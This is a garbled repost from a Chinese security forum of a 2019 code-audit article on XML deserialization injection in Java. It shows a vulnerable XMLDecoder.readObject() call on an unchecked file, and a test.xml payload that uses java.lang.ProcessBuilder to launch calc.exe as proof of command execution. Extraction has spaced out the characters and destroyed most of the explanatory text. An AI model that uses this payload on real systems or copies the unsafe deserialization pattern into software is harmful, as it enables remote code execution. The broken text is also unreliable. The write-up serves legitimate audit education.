[307] 2019-08-25_代码审计之XML解析注入

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-16
2019-08-25_代码审计之XML解析注入 X M L   a F a   2 0 1 9 - 0 8 - 2 5 0 x 0 0   X M L X M L 0 x 0 1   J a v a X M L D e c o d e r X M L p u b l i c   c l a s s   X m l d e c o d e r   {     p u b l i c   s t a t i c   v o i d   X M L D e c o d e _ t e s t ( S t r i n g   p a t h )   t h r o w s   E x c e p t i o n   {         F i l e   f i l e   =   n e w   F i l e ( p a t h ) ;         F i l e I n p u t S t r e a m   f i s   =   n e w   F i l e I n p u t S t r e a m ( f i l e ) ;         B u f f e r e d I n p u t S t r e a m   b i s   =   n e w   B u f f e r e d I n p u t S t r e a m ( f i s ) ;         X M L D e c o d e r   x d   =   n e w   X M L D e c o d e r ( b i s ) ;         x d . r e a d O b j e c t ( ) ;         x d . c l o s e ( ) ;     }     p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {         S t r i n g   p a t h   =   " t e s t . x m l " ;         t r y   {             X M L D e c o d e _ t e s t ( p a t h ) ;         }   c a t c h   ( E x c e p t i o n   e )   {             e . p r i n t S t a c k T r a c e ( ) ;
M a i n t e s t . x m l t e s t . x m l X M L D e c o d e _ t e s t   X M L D e c o d e _ t e s t 使 F i l e t e s t . x m l 使 F i l e I n p u t S t r e a m B u f f e r e d I n p u t S t r e a m 使 X M L D e c o d e r 使 r e a d O b j e c t   x m l t e s t . x m l x m l x m l 使 j a v a . l a n g . P r o c e s s B u i l d e r c a l c 0 x 0 2   X M L   g e t         }     } } < j a v a >     < o b j e c t   c l a s s = " j a v a . l a n g . P r o c e s s B u i l d e r " >         < a r r a y   c l a s s = " j a v a . l a n g . S t r i n g "   l e n g t h = " 1 " >             < v o i d   i n d e x = " 0 " >                 < s t r i n g > C : w i n d o w s s y s t e m 3 2 c a l c . e x e < / s t r i n g >             < / v o i d >         < / a r r a y >         < v o i d   m e t h o d = " s t a r t " > < / v o i d >     < / o b j e c t > < / j a v a >

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则